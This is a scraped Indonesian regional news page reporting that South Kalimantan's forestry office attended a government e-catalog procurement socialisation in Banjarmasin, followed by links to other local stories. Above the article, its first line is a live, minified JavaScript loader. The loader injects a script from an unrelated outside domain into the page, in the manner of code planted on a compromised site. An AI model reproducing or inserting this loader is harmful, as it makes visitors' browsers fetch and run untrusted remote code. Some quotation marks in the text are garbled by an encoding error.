(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pengadaan barang dan jasa pemerintah diperlukan untuk mendukung pelaksanaan pembangunan sehingga terus dibenahi dan diperbaiki agar sistem berlangsung efektif dan efisien. Pola konvensional selama ini dirasa kurang transparan dan menimbulkan efek curiga serta terbukanya peluang pelanggaran. Karena itulah Dishut Prov. Kalsel melalui BPTH mengikuti sosialisasi e-katalog yang diselenggarakan oleh LKPP bekerja sama dengan Dataprint bertempat di Hotel Rattan Inn Banjarmasin, Kamis (25/10).
Sosialisasi dibuka oleh Sekda Kalsel Drs. H Haris Makkie mewakili Gubernur Kalsel dimulai pukul 08.30 Wita, diikuti oleh seluruh Pejabat Pengada, PA/KPA dan PPK/PPTK SKPD lingkup Prov. Kalsel.
Dalam sambutannya, Sekdaprov Haris Makkie menegaskan, pengadaan barang jasa secara elektronik harus dikuasai oleh jajaran ASN karena bagian dari pengelolaan keuangan daerah yg efektif dan efisien. “Pemerintah sangat konsern untuk menghindari pelanggaran hukum sebagai akibat proses pengadaan yang tidak melalui mekanisme yang berlaku.†katanya.
Setiap tahunnya, miliaran rupiah dialokasikan untuk pengadaan barang dan jasa. Bila tidak melalui mekanisme yang benar, hal-hal ke arah penyimpangan bisa saja terjadi. “Karenanya, dengan mengikuti sosialisasi ini, pengadaan barang dan jasa di lingkungan Pemprov harus dilaksanakan dengan sistem elektronik melalui e-katalog,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
This website uses cookies.